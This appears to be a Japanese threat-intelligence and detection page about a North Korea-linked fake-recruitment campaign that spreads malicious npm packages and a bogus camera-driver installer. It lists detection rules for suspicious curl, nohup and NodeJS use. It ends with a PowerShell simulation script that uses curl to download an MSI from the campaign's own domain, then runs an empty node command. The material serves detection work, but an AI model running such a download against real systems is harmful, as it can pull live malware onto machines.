偽の採用キャンペーンがnpmパッケージを使って開発者を狙う
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
北朝鮮にリンクされた高度な脅威アクターが、偽の採用プロセスを利用して開発者を攻撃しています。このキャンペーンは、偽の会社、悪意のあるnpmパッケージ、および悪意のある「カメラドライバ」インストーラーを含む多段階の感染チェーンに従います。LinkedInやGitHubのような信頼されたプロフェッショナルプラットフォームを悪用することで、攻撃者は信頼性を高め、最初の関与時に疑念を減少させます。
調査
JFrog Security Researchは、1つの悪意のあるnpmパッケージからAccuraSoftHireという完全に発展した偽の会社に至るまでのキャンペーンを追跡しました。調査官は、偽のLinkedInプロファイル、説得力のあるキャリアサイト、および複数の使い捨てnpmアカウントを含む協調されたインフラストラクチャを明らかにしました。技術的な解析によって、採用者のペルソナ、GitHubプロジェクトの著者、およびnpmパッケージの発行者が、共有のメールアドレスや繰り返し使用されるコードマーカーを通じて結びつけられました。
対策
開発者は、持ち帰りのコーディング課題を信頼できないコードとして扱い、隔離された使い捨ての仮想マシンまたはコンテナ内でのみ実行するべきです。特にcurlやPowerShellを使用するブラウザ経由のインストールコマンドを実行しないようにしましょう。組織は、依存関係のロックファイルを監査し、予期しないまたは許可されていないパッケージの更新を監視することで、ソフトウェアサプライチェーンのセキュリティを強化するべきです。
対応
疑わしいnpmパッケージや許可されていないVS Codeタスクの変更が検出された場合は、直ちに影響を受けたワークステーションを隔離してください。最近のダウンロード、ブラウザ活動、および実行されたコマンドのフォレンジック分析を行ってください。Chromeネイティブメッセージングホストに関連する許可されていないスケジュールされたタスクや新しいレジストリエントリを確認してください。セッションハイジャックのリスクを軽減するために、開発者の資格情報とアクティブなセッションを確認してください。
攻撃フロー
この部分はまだ更新中です。
検出
潜在的なマルウェアの自己削除またはStderrの隠蔽操作(cmdline経由)
疑わしいNodeJS引数(cmdline経由)
珍しい場所からのNodeJSバイナリ実行(cmdline経由)
疑わしいNodeJS子プロセス[Windows](cmdline経由)
疑わしいCURL使用(cmdline経由)
スクリプトランタイムによるアウトバウンドTLS接続の開始(network_connection経由)
Nohupの使用による潜在的な実行(cmdline経由)
疑わしいCurl実行試み[MacOS](cmdline経由)
Nohup使用(cmdline経由)
標準ツールによるリモートファイルのアップロード/ダウンロード(cmdline経由)
感染性インタビューを検出するためのIOC(SourceIP):感染までワンインタビューの距離
感染性インタビューを検出するためのIOC(DestinationIP):感染までワンインタビューの距離
コマンドラインとノード実行による悪意のあるカメラドライバのインストール[Windowsプロセス作成]
偽のTailwind CSSプラグインと悪意のあるカメラドライバインストーラーの検出[Linuxプロセス作成]
シミュレーション実行
前提条件:テレメトリー&ベースラインの事前調査チェックが通過していること。
理由:このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の具体的な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目的とする必要があります。抽象的または無関係な例は誤診につながります。
-
攻撃のナラティブとコマンド: 敵は、システムの更新を装い持続性を確立しようとしています。ソーシャルエンジニアリングのルアーに成功した後、攻撃者は悪意のある
curlコマンドを実行して悪意のあるMSIファイルをダウンロードし、これをCameraDriverUpdate.msiと名付け、システムノイズに紛れます。直後に、攻撃者はnode -e ""を実行します。これは、環境をテストするか、複雑で難読化されたJavaScriptペイロードを準備するために使用される手法で、単純な検出を回避します。特定のドライバテーマのダウンロードと空のノード実行の組み合わせが、検出ルールの主なトリガーとなります。 -
回帰テストスクリプト:
# 検出ルールをトリガーするためのシミュレーションスクリプト。 # このスクリプトは、Sigmaルールで特定された特定の文字列を模倣します。 $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win" $FileName = "CameraDriverUpdate.msi" $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`"" Write-Host "[+] 悪意のあるcurlコマンドを実行中..." -ForegroundColor Yellow Invoke-Expression $FullCurlCmd Write-Host "[+] 空のノードコマンドを実行中..." -ForegroundColor Yellow node -e "" Write-Host "[+] シミュレーション完了。SIEMでアラートを確認してください。" -ForegroundColor Green -
クリーンアップコマンド:
# シミュレーション中に作成されたアーティファクトを削除するためのクリーンアップスクリプト。 if (Test-Path "CameraDriverUpdate.msi") { Remove-Item "CameraDriverUpdate.msi" -Force Write-Host "[+] 悪意のあるMSIアーティファクトを削除しました。" -ForegroundColor Cyan }